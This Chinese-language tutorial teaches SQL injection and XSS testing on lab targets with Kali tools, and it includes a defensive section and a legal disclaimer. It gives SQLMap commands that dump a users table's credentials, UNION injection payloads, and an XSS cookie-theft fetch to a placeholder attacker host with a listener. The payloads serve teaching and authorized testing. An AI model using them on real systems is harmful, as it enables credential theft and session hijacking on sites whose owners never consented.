Kali Linux Web 渗透测试详解 SQL 注入与 XSS 漏洞攻防
对于网络安全专业大学生和 IT 从业人员来说,Web 渗透测试是核心实战技能,但多数人面临三大痛点:一是懂基础工具却不懂漏洞原理,测试流于表面;二是缺乏真实场景的攻防实操经验,遇到复杂漏洞无从下手;三是不知如何规避测试风险,合法合规边界模糊。https://pan.quark.cn/s/ff58f9f0e064Web 应用已成为企业业务的核心载体,而 SQL 注入、XSS(跨站脚本攻击)是 Web 应用中最常见、危害最大的两类漏洞,曾多次导致大规模数据泄露、账号被盗等安全事件。Kali Linux 预装了多款专门针对这两类漏洞的渗透测试工具,结合手动测试技巧,能精准发现并验证漏洞风险。本文将从漏洞原理、Kali 工具实操、手动测试技巧、防御方案四个维度,手把手拆解 SQL 注入与 XSS 漏洞的攻防实战,所有案例均基于合法测试环境搭建,可直接落地练习,助力快速掌握 Web 渗透测试核心技能。特别声明:本文所有测试操作仅适用于个人学习环境、实验室授权测试或企业内部安全评估,严禁对未授权的第三方 Web 应用进行渗透测试。任何违反法律规定、侵犯他人权益的行为,都将承担相应的民事或刑事责任,网络安全从业者必须坚守合法合规的职业底线。一、漏洞核心原理:搞懂本质才能精准攻防
在动手测试前,需先明确两类漏洞的核心原理,避免盲目操作:1. SQL 注入漏洞原理
SQL 注入是由于 Web 应用未对用户输入进行严格过滤,导致攻击者可通过构造恶意 SQL 语句,注入到应用的数据库查询过程中,实现非法查询、修改甚至删除数据库数据的攻击。核心成因:用户输入直接拼接进 SQL 语句,未做转义或过滤处理;常见场景:登录框、搜索框、数据查询接口、URL 参数传递等;危害等级:高危,可导致数据库泄露、服务器权限被获取、业务系统瘫痪等。2. XSS 漏洞原理
XSS 漏洞是由于 Web 应用未对用户输入的脚本内容进行过滤,导致攻击者可注入恶意 JavaScript、HTML 等脚本代码,当其他用户访问受影响页面时,恶意脚本会被浏览器执行,实现窃取 Cookie、会话劫持、钓鱼欺诈等攻击。核心成因:用户输入的脚本内容被原样输出到页面,未做 HTML 转义或过滤;常见场景:评论区、留言板、个人资料编辑、表单提交等;危害等级:中高危,主要针对普通用户,可批量窃取账号信息、传播恶意代码。二、Kali 工具实战:自动化检测与漏洞验证
Kali Linux 内置了多款 Web 渗透测试工具,能快速自动化检测 SQL 注入和 XSS 漏洞,大幅提升测试效率。1. SQL 注入漏洞检测工具:SQLMap
SQLMap 是开源的自动化 SQL 注入工具,支持多种数据库(MySQL、SQL Server、Oracle 等),能自动识别注入点、探测数据库类型、获取数据库内容,是 Web 渗透测试的 “神器”。环境准备:搭建测试靶场(推荐 DVWA、SQLi-Labs,可通过 Kali 终端输入 “apt install dvwa” 快速安装,或通过 Docker 部署),确保靶场与 Kali 处于同一网段;启动 SQLMap:打开 Kali 终端,输入 “sqlmap” 验证工具是否正常运行(默认已预装,若未安装可输入 “apt install sqlmap -y” 安装);注入点探测:以 DVWA 靶场的 SQL 注入模块为例,先获取目标 URL(如 “http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”),在终端输入命令:sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=abc123"说明:“-u” 指定目标 URL,“--cookie” 携带登录后的 Cookie 信息(需从浏览器开发者工具的 Application->Cookies 中获取),确保工具能访问需要登录的页面;数据库探测:工具会自动检测是否存在 SQL 注入漏洞,若存在会提示注入类型(如 Union query-based、Error-based 等),后续输入 “Y” 继续探测数据库类型、版本等信息,命令可简化为:sqlmap -u "目标URL" --cookie="登录Cookie" --dbs--dbs 列出所有数据库
数据获取:探测到数据库后,可进一步获取指定数据库的表、列、数据,例如获取 “dvwa” 数据库的表:sqlmap -u "目标URL" --cookie="登录Cookie" -D dvwa --tables-D 指定数据库名,--tables 列出表
sqlmap -u "目标URL" --cookie="登录Cookie" -D dvwa -T users --columns-T 指定表名,--columns 列出列
sqlmap -u "目标URL" --cookie="登录Cookie" -D dvwa -T users -C "user,password" --dump-C 指定列名,--dump 导出数据
若目标 URL 存在多个参数,可使用 “-p” 指定测试参数,如 “-p id” 仅测试 id 参数;遇到 HTTPS 协议的目标,添加 “--force-ssl” 参数;为避免被目标网站拦截,可添加 “--delay 1” 参数设置扫描延迟(单位:秒)。2. XSS 漏洞检测工具:XSSer
XSSer 是 Kali 内置的自动化 XSS 漏洞检测工具,支持多种 XSS 攻击类型(存储型、反射型、DOM 型),能自动生成恶意脚本并测试目标是否存在漏洞。目标选择:以 DVWA 靶场的 XSS Reflected 模块为例,目标 URL 为 “http://192.168.1.100/dvwa/vulnerabilities/xss_r/?name=test#”;启动 XSSer:终端输入 “xsser” 验证工具,若未安装可输入 “apt install xsser -y” 安装;xsser -u "http://192.168.1.100/dvwa/vulnerabilities/xss_r/?name=test#" --cookie="security=low; PHPSESSID=abc123" -v 2说明:“-u” 指定目标 URL,“--cookie” 携带登录 Cookie,“-v 2” 显示详细测试过程;攻击验证:若工具检测到漏洞,会返回 “VULNERABLE” 提示,并显示成功注入的恶意脚本(如alert('XSS')),此时可手动访问目标 URL,确认是否弹出告警框,验证漏洞真实性。补充工具:Burp Suite
Burp Suite 是 Web 渗透测试的综合性工具(Kali 预装社区版),可通过 Proxy 模块拦截 HTTP 请求,手动修改参数构造恶意注入语句,适合精准验证漏洞。例如检测 XSS 漏洞时,拦截用户输入的请求,将参数值改为document.write(document.cookie),发送请求后查看响应页面是否执行该脚本,若成功输出 Cookie 则说明存在漏洞。三、手动测试技巧:深度挖掘复杂漏洞
自动化工具虽高效,但可能遗漏复杂场景的漏洞,手动测试能更精准地挖掘深层漏洞,尤其适合对工具检测结果进行验证。1. SQL 注入手动测试(以 GET 型注入为例)
目标 URL:http://192.168.1.100/test.php?id=1输入id=1',若页面返回数据库错误(如 “MySQL syntax error”),说明输入的单引号未被过滤,可能存在注入;输入id=1 and 1=1,页面正常显示;输入id=1 and 1=2,页面显示异常(如无数据),说明存在布尔盲注;输入id=1 order by 3(判断查询字段数),若页面正常,继续增加数字(如 4),直到页面报错,即可确定字段数为 3。构造语句:id=1 union select 1,2,database()--+(“--+” 表示注释后续 SQL 语句),若页面显示数据库名(如 “testdb”),说明注入成功;进一步获取表名:id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+;获取账号密码:id=1 union select 1,user,password from users--+(假设已获取 users 表)。2. XSS 漏洞手动测试(分类型测试)
测试场景:搜索框输入内容后,页面会显示搜索关键词;基础脚本:alert('XSS'),若页面弹出告警框则存在漏洞;绕过过滤脚本:若基础脚本被拦截,可尝试变形,如ipt>alert(1)(拼接绕过)测试场景:评论区提交评论后,所有用户访问该页面都会看到评论内容;构造测试脚本:fetch('http://攻击者IP/steal.php?cookie='+document.cookie);验证:提交评论后,访问攻击者搭建的 Web 服务器日志(可通过 Python 快速搭建:python3 -m http.server 80),若能看到用户的 Cookie 信息,说明漏洞利用成功。测试场景:页面通过 JavaScript 获取 URL 参数并显示,如http://192.168.1.100/domxss.php?name=test;构造测试脚本:name=alert(1),若页面执行脚本,说明存在漏洞,此类漏洞需重点关注 JavaScript 代码对参数的处理逻辑。四、漏洞防御方案:从源头规避风险
掌握攻击技巧的同时,更要了解防御方法,无论是渗透测试人员还是开发人员,都需明确安全防护的核心要点。1. SQL 注入漏洞防御
输入过滤与转义:对用户输入的特殊字符(如单引号、双引号、分号、逗号)进行转义处理,或使用白名单限制输入类型(如仅允许数字、字母);使用参数化查询:开发时采用预编译语句(如 Java 的 PreparedStatement、Python 的 SQLAlchemy),将用户输入作为参数传入,而非直接拼接 SQL 语句;最小权限原则:数据库账号仅分配必要权限(如查询权限),禁止使用 root 等超级管理员账号连接 Web 应用;定期更新与审计:及时修复数据库漏洞,定期审计数据库操作日志,发现异常查询及时拦截。2. XSS 漏洞防御
输出编码:将用户输入的内容进行 HTML 编码(如<转为<、>转为>),避免脚本被浏览器执行;输入过滤:禁止用户输入、onerror、onclick等危险关键词和事件;启用 CSP(内容安全策略):在 Web 服务器配置中添加 CSP 头(如Content-Security-Policy: default-src 'self'),限制脚本加载来源;禁止 Cookie 明文传输:设置 Cookie 的HttpOnly属性,防止 JavaScript 窃取 Cookie,同时启用 HTTPS 加密传输。五、实战注意事项与进阶方向
靶场练习优先:新手建议先在合法靶场(DVWA、SQLi-Labs、OWASP WebGoat)中练习,熟悉漏洞原理和工具使用,再逐步参与企业内部授权测试;工具与手动结合:自动化工具用于快速筛查,手动测试用于深度挖掘,两者结合能提升测试覆盖率;关注漏洞趋势:定期关注 OWASP Top 10 漏洞报告,了解 SQL 注入、XSS 的新型攻击方式和防御技术;进阶学习方向:学习 Web 应用的源代码审计(如 PHP、Java 代码),从根源上发现漏洞;掌握 Burp Suite 的高级功能(如 Intruder 暴力破解、Repeater 重复请求);研究 CTF 比赛中的 Web 渗透题目,提升实战能力。看到这里的粉丝朋友不妨点个关注,私信回复【kali】,领取最新 Kali 系统及最全软件库。